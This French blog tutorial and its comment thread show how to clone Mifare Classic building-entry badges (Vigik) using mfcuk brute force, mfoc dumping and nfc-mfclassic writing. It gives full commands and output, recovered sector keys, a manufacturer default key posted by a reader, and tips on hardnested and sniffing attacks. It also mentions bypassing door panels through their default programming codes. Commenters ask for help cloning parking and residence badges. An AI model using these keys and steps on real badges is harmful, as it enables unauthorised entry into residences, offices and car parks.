Les badges Mifare Classic, vous en avez déjà tous vu. Le badge Vigik pour rentrer chez soi ou la carte permettant de passer les portiques au travail utilisent en réalité cette technologie. C’est probablement le plus répandu des badges, notamment grâce à son faible coût d’acquisition. Malheureusement on est à des lieues d’avoir un système qu’on peut considérer comme sécurisé. Voyons comment nous pouvons faire une copie.
Préparation
Vous allez avoir besoin de :
- Un PC. Cela peut être un portable ou un fixe mais il est essentiel que cela ne soit pas une machine virtuelle, le timing étant très important
- Un lecteur de carte NFC. Je possède pour ma part un ACS ACR122U, pas cher et qui fait le taff
- Kali Linux, une distribution de pen-testing. Je vous conseille de copier l’ISO sur une clé USB pour avoir plus de peps au démarrage. Cela requiert toutefois un PC capable de démarrer en UEFI.
Structure d’un badge MIFARE
Les badges mifare sont assimilables à une carte à puce, c’est à dire qu’ils doivent être vu non pas comme une mémoire morte lisible (tel que les bandes magnétiques) sans fil mais plutôt comme un mini-ordinateur aux capacités très réduites. En l’occurrence, l’accès en lecture ou en écriture peut être limité à la soumission d’une clé que le badge va lui-même valider.
Le badge a une capacité de stockage, en général de 1Ko, divisé en 16 secteur. Pour chaque secteur, deux clés sont définies permettant l’accès à ce secteur. Il n’est pas obligatoire d’avoir des clés distinctes pour chaque secteur.
Récupération d’une clé
Nous allons faire appel à mfoc pour dumper le contenu du badge mais cela ne peut se faire qu’à la condition d’avoir au moins une clé permettant d’accéder en lecture aux différents secteurs du badge. Dans le cas où aucune clé n’est connue, on se retrouve dans la situation ci-dessous où mfoc n’est d’aucune utilité.
root@kali:~# mfoc -P 3 -O /dev/null Found Mifare Classic 1k tag ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 * UID size: single * bit frame anticollision supported UID (NFCID1): 22 dc 2b 61 SAK (SEL_RES): 08 * Not compliant with ISO/IEC 14443-4 * Not compliant with ISO/IEC 18092 Fingerprinting based on MIFARE type Identification Procedure: * MIFARE Classic 1K * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1 * SmartMX with MIFARE 1K emulation Other possible matches based on ATQA & SAK values: Try to authenticate to all sectors with default keys... Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found [Key: ffffffffffff] -> [................] [Key: a0a1a2a3a4a5] -> [................] [Key: d3f7d3f7d3f7] -> [................] [Key: 000000000000] -> [................] [Key: b0b1b2b3b4b5] -> [................] [Key: 4d3a99c351dd] -> [................] [Key: 1a982c7e459a] -> [................] [Key: aabbccddeeff] -> [................] [Key: 714c5c886e97] -> [................] [Key: 587ee5f9350f] -> [................] [Key: a0478cc39091] -> [................] [Key: 533cb6c723f6] -> [................] [Key: 8fd0a4f256e9] -> [................] Sector 00 - UNKNOWN_KEY [A] Sector 00 - UNKNOWN_KEY [B] Sector 01 - UNKNOWN_KEY [A] Sector 01 - UNKNOWN_KEY [B] Sector 02 - UNKNOWN_KEY [A] Sector 02 - UNKNOWN_KEY [B] Sector 03 - UNKNOWN_KEY [A] Sector 03 - UNKNOWN_KEY [B] Sector 04 - UNKNOWN_KEY [A] Sector 04 - UNKNOWN_KEY [B] Sector 05 - UNKNOWN_KEY [A] Sector 05 - UNKNOWN_KEY [B] Sector 06 - UNKNOWN_KEY [A] Sector 06 - UNKNOWN_KEY [B] Sector 07 - UNKNOWN_KEY [A] Sector 07 - UNKNOWN_KEY [B] Sector 08 - UNKNOWN_KEY [A] Sector 08 - UNKNOWN_KEY [B] Sector 09 - UNKNOWN_KEY [A] Sector 09 - UNKNOWN_KEY [B] Sector 10 - UNKNOWN_KEY [A] Sector 10 - UNKNOWN_KEY [B] Sector 11 - UNKNOWN_KEY [A] Sector 11 - UNKNOWN_KEY [B] Sector 12 - UNKNOWN_KEY [A] Sector 12 - UNKNOWN_KEY [B] Sector 13 - UNKNOWN_KEY [A] Sector 13 - UNKNOWN_KEY [B] Sector 14 - UNKNOWN_KEY [A] Sector 14 - UNKNOWN_KEY [B] Sector 15 - UNKNOWN_KEY [A] Sector 15 - UNKNOWN_KEY [B] mfoc: ERROR: No sector encrypted with the default key has been found, exiting..
C’est à ce moment que mfcuk intervient, dont le rôle est de brute-forcer une clé (A ou B) d’un secteur particulier. L’opération de brute-force a duré 32 minutes.
root@kali:~# time mfcuk -C -R 0:A -s 250 -S 250 -v 3 -O /tmp/vigik.dmp mfcuk - 0.3.8 Mifare Classic DarkSide Key Recovery Tool - 0.3 by Andrei Costin, zveriu@gmail.com, http://andreicostin.com WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd' WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd' WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd' DEFAULT KEYS: ff ff ff ff ff ff a0 a1 a2 a3 a4 a5 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 4d 3a 99 c3 51 dd 1a 98 2c 7e 45 9a d3 f7 d3 f7 d3 f7 aa bb cc dd ee ff 88 29 da 9d af 76 INFO: Connected to NFC reader: ACS / ACR122U PICC Interface INITIAL ACTIONS MATRIX - UID 22 dc 2b 61 - TYPE 0x08 (MC1K) --------------------------------------------------------------------- Sector | Key A |ACTS | RESL | Key B |ACTS | RESL --------------------------------------------------------------------- 0 | 000000000000 | . R | . . | 000000000000 | . . | . . 1 | 000000000000 | . . | . . | 000000000000 | . . | . . 2 | 000000000000 | . . | . . | 000000000000 | . . | . . 3 | 000000000000 | . . | . . | 000000000000 | . . | . . 4 | 000000000000 | . . | . . | 000000000000 | . . | . . 5 | 000000000000 | . . | . . | 000000000000 | . . | . . 6 | 000000000000 | . . | . . | 000000000000 | . . | . . 7 | 000000000000 | . . | . . | 000000000000 | . . | . . 8 | 000000000000 | . . | . . | 000000000000 | . . | . . 9 | 000000000000 | . . | . . | 000000000000 | . . | . . 10 | 000000000000 | . . | . . | 000000000000 | . . | . . 11 | 000000000000 | . . | . . | 000000000000 | . . | . . 12 | 000000000000 | . . | . . | 000000000000 | . . | . . 13 | 000000000000 | . . | . . | 000000000000 | . . | . . 14 | 000000000000 | . . | . . | 000000000000 | . . | . . 15 | 000000000000 | . . | . . | 000000000000 | . . | . . VERIFY: Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f ACTION RESULTS MATRIX AFTER VERIFY - UID 22 dc 2b 61 - TYPE 0x08 (MC1K) --------------------------------------------------------------------- Sector | Key A |ACTS | RESL | Key B |ACTS | RESL --------------------------------------------------------------------- 0 | 000000000000 | . R | . . | 000000000000 | . . | . . 1 | 000000000000 | . . | . . | 000000000000 | . . | . . 2 | 000000000000 | . . | . . | 000000000000 | . . | . . 3 | 000000000000 | . . | . . | 000000000000 | . . | . . 4 | 000000000000 | . . | . . | 000000000000 | . . | . . 5 | 000000000000 | . . | . . | 000000000000 | . . | . . 6 | 000000000000 | . . | . . | 000000000000 | . . | . . 7 | 000000000000 | . . | . . | 000000000000 | . . | . . 8 | 000000000000 | . . | . . | 000000000000 | . . | . . 9 | 000000000000 | . . | . . | 000000000000 | . . | . . 10 | 000000000000 | . . | . . | 000000000000 | . . | . . 11 | 000000000000 | . . | . . | 000000000000 | . . | . . 12 | 000000000000 | . . | . . | 000000000000 | . . | . . 13 | 000000000000 | . . | . . | 000000000000 | . . | . . 14 | 000000000000 | . . | . . | 000000000000 | . . | . . 15 | 000000000000 | . . | . . | 000000000000 | . . | . . RECOVER: 0 ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 0 auths: 0 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 1 auths: 1 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 2 auths: 2 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 3 auths: 3 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 4 auths: 4 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 4 auths: 5 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 6 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 7 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 8 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 9 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 10 ----------------------------------------------------- [...] ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 80 auths: 2237 ----------------------------------------------------- INFO: block 3 recovered KEY: 8829da9daf34 1 2 3 4 5 6 7 8 9 a b c d e f ACTION RESULTS MATRIX AFTER RECOVER - UID 22 dc 2b 61 - TYPE 0x08 (MC1K) --------------------------------------------------------------------- Sector | Key A |ACTS | RESL | Key B |ACTS | RESL --------------------------------------------------------------------- 0 | 8829da9daf76 | . R | . R | 000000000000 | . . | . . 1 | 000000000000 | . . | . . | 000000000000 | . . | . . 2 | 000000000000 | . . | . . | 000000000000 | . . | . . 3 | 000000000000 | . . | . . | 000000000000 | . . | . . 4 | 000000000000 | . . | . . | 000000000000 | . . | . . 5 | 000000000000 | . . | . . | 000000000000 | . . | . . 6 | 000000000000 | . . | . . | 000000000000 | . . | . . 7 | 000000000000 | . . | . . | 000000000000 | . . | . . 8 | 000000000000 | . . | . . | 000000000000 | . . | . . 9 | 000000000000 | . . | . . | 000000000000 | . . | . . 10 | 000000000000 | . . | . . | 000000000000 | . . | . . 11 | 000000000000 | . . | . . | 000000000000 | . . | . . 12 | 000000000000 | . . | . . | 000000000000 | . . | . . 13 | 000000000000 | . . | . . | 000000000000 | . . | . . 14 | 000000000000 | . . | . . | 000000000000 | . . | . . 15 | 000000000000 | . . | . . | 000000000000 | . . | . . INFO: saved extended tag dump file to '/tmp/vigik.dmp' real 23m23,994s user 0m3,922s sys 0m10,084s
Attention, il existe aujourd’hui des badges (Mifare DESFire EV1 par exemple) qui résistent au brute-force. C’est le cas de mon badge pour accéder à mon bureau. On les distingue par le fait que la valeur de diff Nt est très proche voire même identique à celle de auths (qui compte le nombre d’essais). Si c’est le cas, mfcuk ne sera d’aucune utilité. Il semble y avoir une solution à ces badges mais je dois pousser plus loin mes recherches je n’ai plus de badge DESFIRE EV1 pour tester.
Dump du badge MIFARE
Désormais en possession d’une clé, nous allons pouvoir dumper le contenu de la carte dans un fichier.
root@kali:~# time mfoc -O /tmp/vigik.mfd -k 8829da9daf34 The custom key 0x8829da9daf34 has been added to the default keys Found Mifare Classic 1k tag ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 * UID size: single * bit frame anticollision supported UID (NFCID1): 22 dc 2b 61 SAK (SEL_RES): 08 * Not compliant with ISO/IEC 14443-4 * Not compliant with ISO/IEC 18092 Fingerprinting based on MIFARE type Identification Procedure: * MIFARE Classic 1K * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1 * SmartMX with MIFARE 1K emulation Other possible matches based on ATQA & SAK values: Try to authenticate to all sectors with default keys... Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found [Key: 8829da9daf34] -> [xxxxxxxxxxxxxxxx] [Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx] [Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx] [Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx] [Key: 000000000000] -> [xxxxxxxxxxxxxxxx] [Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx] [Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx] [Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx] [Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx] [Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx] [Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx] [Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx] [Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx] [Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx] Sector 00 - FOUND_KEY [A] Sector 00 - FOUND_KEY [B] Sector 01 - FOUND_KEY [A] Sector 01 - FOUND_KEY [B] Sector 02 - FOUND_KEY [A] Sector 02 - FOUND_KEY [B] Sector 03 - FOUND_KEY [A] Sector 03 - FOUND_KEY [B] Sector 04 - FOUND_KEY [A] Sector 04 - FOUND_KEY [B] Sector 05 - FOUND_KEY [A] Sector 05 - FOUND_KEY [B] Sector 06 - FOUND_KEY [A] Sector 06 - FOUND_KEY [B] Sector 07 - FOUND_KEY [A] Sector 07 - FOUND_KEY [B] Sector 08 - FOUND_KEY [A] Sector 08 - FOUND_KEY [B] Sector 09 - FOUND_KEY [A] Sector 09 - FOUND_KEY [B] Sector 10 - FOUND_KEY [A] Sector 10 - FOUND_KEY [B] Sector 11 - FOUND_KEY [A] Sector 11 - FOUND_KEY [B] Sector 12 - FOUND_KEY [A] Sector 12 - FOUND_KEY [B] Sector 13 - FOUND_KEY [A] Sector 13 - FOUND_KEY [B] Sector 14 - FOUND_KEY [A] Sector 14 - FOUND_KEY [B] Sector 15 - FOUND_KEY [A] Sector 15 - FOUND_KEY [B] We have all sectors encrypted with the default keys.. Auth with all sectors succeeded, dumping keys to a file! Block 63, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 62, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 61, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 60, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 59, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 58, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 57, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 56, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 55, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 54, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 53, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 52, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 51, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 50, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 49, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 48, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 47, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 46, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 45, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 44, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 43, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 42, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 41, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 40, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 39, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 38, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 37, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 36, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 35, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 34, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 33, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 32, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 31, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 30, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 29, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 28, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 27, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 26, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 25, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 24, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 23, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 22, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 21, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 20, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 19, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 18, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 17, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 16, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 15, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 14, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 13, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 12, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 11, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 10, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 09, type A, key 8829da9daf34 :00 01 00 01 4d 54 24 1a 4c 54 24 1a 01 00 00 00 Block 08, type A, key 8829da9daf34 :30 30 30 33 00 00 00 00 00 00 00 00 00 00 00 00 Block 07, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 06, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 Block 05, type A, key 8829da9daf34 :d0 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 Block 04, type A, key 8829da9daf34 :00 00 00 00 2b 24 54 1a 7d 00 80 03 00 ac d1 6c Block 03, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 02, type A, key 8829da9daf34 :22 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 01, type A, key 8829da9daf34 :01 06 21 00 01 22 00 00 00 00 00 00 00 00 00 00 Block 00, type A, key 8829da9daf34 :22 dc 2b 61 fb 44 02 00 d0 9e 2e 12 54 00 22 14 real 0m8,174s user 0m0,131s sys 0m0,268s
J’ai pu avoir en main plusieurs badges vigik résidentiel provenant de plusieurs résidences. Il est triste de constater que la clé A était la même. Autrement dit désormais en possession de cette clé, j’ai de bonnes chances de copier un badge vigik non pas en 30 minutes mais en 8 secondes. L’opération se fait également très bien avec un smartphone Android rooté.
Il ne reste plus qu’à se procurer une carte MIFARE Classic 1k vierge en s’assurant que le bloc 0 soit inscriptible, sachant qu’il s’agit du bloc dans lequel est contenu le numéro de série (ou UID) du badge, comme vous pouvez le constatez dans la capture ci-dessus.
Un peu de politique
Historique
L’article L.111-6-3 du code de la construction et de l’habitation créé par la loi n° 2005-516 du 20 mai 2005 rend obligatoire l’accès aux parties communes des opérateurs : La Poste ainsi que les autres opérateurs titulaires de l’autorisation prévue à l’article L. 3 du code des postes et des communications électroniques, ainsi que les porteurs de presse.
Si vous choisissez de ne pas équiper un immeuble du système VIGIK®, vous avez l’obligation juridique de trouver une alternative pour garantir l’accès de ces opérateurs.
Certains opérateurs ne sont pas tenus d’accepter des solutions spécifiques (par exemple, La Poste n’accepte pas de badge résident de digicodes ou clés).
Dit autrement, les immeubles ont depuis 2005 obligations d’installer le système VIGIK car La Poste n’acceptera rien d’autre. Le système résidentiel VIGIK a été craqué en 2008, à une période où les badges résidentiels étaient loin d’être déployés partout. 10 ans plus tard, rien n’a changé, il est de commune mesure d’installer ce système dans les nouveaux immeubles en construction.
Le VIGIK opérateur
Dans l’historique, j’ai précisé résidentiel car les badges VIGIK des opérateurs reposent sur un mode de fonctionnement différent. Les opérateurs disposent dans leur locaux d’une borne leur permettant de « charger leur badge pour ~24h ». Voler le pass d’un facteur n’aura donc qu’un intérêt assez limité.
Au niveau des résidences, le système VIGIK est équipé de l’heure ainsi que de la partie publique d’une clé RSA de 1024 bits. Toutes les résidences en France ont cette même clé installée.
Les opérateurs ont dans leur locaux un dispositif ayant un accès limitée (du moins je l’espère) à la partie privée de la clé RSA dont le but est de générer une signature dans le badge des opérateurs valable 1 jour, signature qui va pouvoir être validée par le système VIGIK installé dans les résidences. La clé RSA a été extraite mais elle reste à ce jour et à ma connaissance toujours inviolée.
Pour résumer
Nous avons vu à quel point le système basé sur les badge MIFARE Classic était vulnérable. Mais est-ce le seul ? Ci-dessous une liste des points noir de ce genre d’installation, qui je le rappelle est presque devenu une norme en France :
- Le système VIGIK résidentiel n’est pas un système de sécurité mais une commodité pour rentrer dans l’immeuble
- La remarque vaut aussi pour les entreprises utilisant des badges MIFARE Classic (et à confirmer pour les badges EV1)
- L’accès au mode de programmation des plaques de rue est beaucoup trop facile, notamment parce que le code d’accès est souvent celui par défaut (un peu comme les carte SIM, sauf qu’il s’agit là d’une fainéantise d’un professionnel censé respecter les règles de l’art…). À défaut de cloner un badge, on peut à la place enregistrer son propre badge en base, cela ne prend moins d’une minute et un peu plus d’une dizaine de touches à presser.
Arnaud
17 novembre 2018 at 19:01Bonjour,
Merci pour cet excellent Tuto avec lequel j’ai pu faire des clones.
Cependant j’ai un badge de marque Hexact pour mon nouvel appartement et je n’arrive pas à le cloner.
Mfcuk et mfoc ne donnent rien avec mon lecteur ACR122U et Kali Linux
Auriez vous une solution à proposer autre que mfoc et mfcuk?
Merci.
veovis
25 novembre 2018 at 18:19Bonjour,
Je n’ai encore jamais eu de badge Hexact sous la main, je n’ai pas de solution toute faite, si ce n’est avoir plus de détail sur l’échec. Qu’est ce qui ne marche pas exactement ? En logiciel, il quasiment n’existe rien d’autre que mfoc et mfcuk pour violer un badge mifare.
Etienne
11 décembre 2018 at 18:40Sur mon badge, la clé A est HEXACT (484558414354) pour tous les secteurs
veovis
20 décembre 2018 at 19:42En général, le fabricant conserve la même clé pour chiffrer ses badges. Tu tiens donc là un bon mot clé Google pour en trouver d’autres.
Nasyrs
29 novembre 2018 at 00:52Bonjour,
Comment procéder pour injecter le dump vigik.mfd dans une carte viérge ?
sebastien
8 janvier 2019 at 22:44Existe t il des clones mifare sous forme de sticker RFID ? ça me semble plus utile et plus pratique qu’un badge
veovis
21 janvier 2019 at 00:36Oui ça existe : http://lmgtfy.com/?q=mifare+stickers
Edward
27 février 2019 at 09:59Salut j’ai quelques petits problemes en essayant la hardnested attack (l’étape d’apres, lorsque lemfcuk ne fonctionne pas).
Peut-être que quelqu’un peux m’éclairer 🙂
veovis
5 mars 2019 at 23:39Si tous les secteurs sont protégés et que tu n’as aucune clé, c’est mort. Il est nécessaire d’avoir au moins une clé, et ce en sniffant le badge à côté du lecteur de badge. Malheureusement j’ai changé de mission depuis, et donc rendu mon badge. Je n’ai plus de badge EV1 pour tester.
Léon
4 mars 2019 at 17:16Bonjour et merci pour toutes ces infos.
Si je comprends bien (c’est loin d’être certain), la dernière étape permet de copier le badge dans le fichier vigik. mfd après avoir récupéré la clé dans l’étape 2;
Quelle commande permet de copier sur un badge vierge ?
Merci pour l’aide
veovis
5 mars 2019 at 23:45Bonjour, l’outil nfc-mfclassic permet d’écrire un dump dans un badge. Ce n’est effectivement pas une étape que j’ai détaillé.
Mickael
5 mars 2019 at 00:53Bonjour,
Je souhaiterais clone un badge de parking
Le mfcuk ne donne rien les 2 valeurs sont identiques.
Savez vous s’il y a d’autre solution?
Cordialement
veovis
5 mars 2019 at 23:47Oui, une attaque hardnested, qui pourra aussi nécessiter de sniffer le badge à côté de son lecteur pour récupérer une clé valide. Le sniff nécessite un matériel particulier.
Noel
5 mars 2019 at 10:10Bonjour,
Avez vous une solution lorsque diff Nt est très proche voire même identique à celle de auths ?
Merci de votre aide
veovis
5 mars 2019 at 23:50Bonjour,
Léon, Noel, je suis un peu perdu…
Comme indiqué à Mickael, si mfcuk ne donne rien, c’est que le badge est protégé contre le brute-force. Dans ce cas, l’étape suivant est une attaque hardnested avec attaque directement au niveau du lecteur par sniffing. Cela requiert un sniffer comme le proxmark qui n’est pas donné pour un usage exceptionnel.
Vincent
21 juin 2019 at 14:24Bonjour, merci pour vos connaissances! Pouvez vous écrire la commande pour insérer le dump dans un new tag svp?
Merci beaucoup.
Vincent
patrick17
17 octobre 2019 at 09:50Bonjour, merci pour vos connaissances! Pouvez vous écrire la commande pour insérer le dump dans un new tag svp?
Merci beaucoup.
Patrick
Alex
1 novembre 2019 at 14:53Bonjour,
Étant novice quelqu’un pourrait me donner l’instruction complète pour la copie sur une carte vierges?
Cordialement
jfab
5 novembre 2019 at 15:33bonjour j’ai réussi à DUMPER la clé NFC en débloquant la KEY B des secteur 8 à 14
Sector: 8, type B, probe 0, distance 64 …..
Found Key: B [415a54454b4d]
Sector: 9, type B
Found Key: B [415a54454b4d]
Sector: 10, type B
Found Key: B [415a54454b4d]
Sector: 11, type B
Found Key: B [415a54454b4d]
Sector: 12, type B
Found Key: B [415a54454b4d]
Sector: 13, type B
Found Key: B [415a54454b4d]
Sector: 14, type B
Found Key: B [415a54454b4d]
Auth with all sectors succeeded, dumping keys to a file!
mais je n’arrive pas à cloner ce fichier dans une nouvelle clé NFC avec UID modifiable..
explication : quand je lance ‘nfc-mfclassic’ , tous les secteurs sont copiés sauf les secteurs 8 à 14 car la KEY B n’est pas prise en compte
xhark
26 novembre 2019 at 14:30Petite contribution pour passer d’un format de dump MCT au format binaire : http://blogmotion.fr/internet/securite/mct2dmp-convertir-dump-hexa-binaire-18125
funky
3 mars 2020 at 16:35bonjour, savez vous si un lecteur ask rdr518 permet la même manipulation ?
merci d’avance
veovis
18 mai 2020 at 20:47Aucune idée
dubis
22 mai 2020 at 17:49Bonjour,
Merci pour le tuto
Avez vous trouvé un solution pour les badges Mifare DESFire EV1 ?
J’ai laissé tourner mfcuk pendant trois heure avant de tomber sur votre blog et de m’apercevoir que les valeurs de diff Nt et auth étaient identique.
bob
25 août 2021 at 20:45hello
i arrived at Auths 16756 after 2 or 3 hours and then nothing happens ! tried this on ubuntu on Wmware on mac
desperate…
Veovis
4 décembre 2021 at 20:19Don’t use vmware. You need precise timing when cracking a MIFARE key. You don’t have that on a virtualized environment.
bob
26 août 2021 at 18:41je suis allé au bout du process et la carte ne fonctionne pas alors que je n’ai pas eu de message d’erreur…
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 8e e7 d2 ea
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys…
Symbols: ‘.’ no key found, ‘/’ A key found, ‘\’ B key found, ‘x’ both keys found
INFO: block 3 recovered KEY: ffffffffffff
1 2 3 4 5 6 7 8 9 a b c d e f
ACTION RESULTS MATRIX AFTER RECOVER – UID 8e e7 d2 ea – TYPE 0x08 (MC1K)
———————————————————————
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
———————————————————————
0 | ffffffffffff | . R | . R | 000000000000 | . . | . .
1 | 000000000000 | . . | . . | 000000000000 | . . | . .
2 | 000000000000 | . . | . . | 000000000000 | . . | . .
3 | 000000000000 | . . | . . | 000000000000 | . . | . .
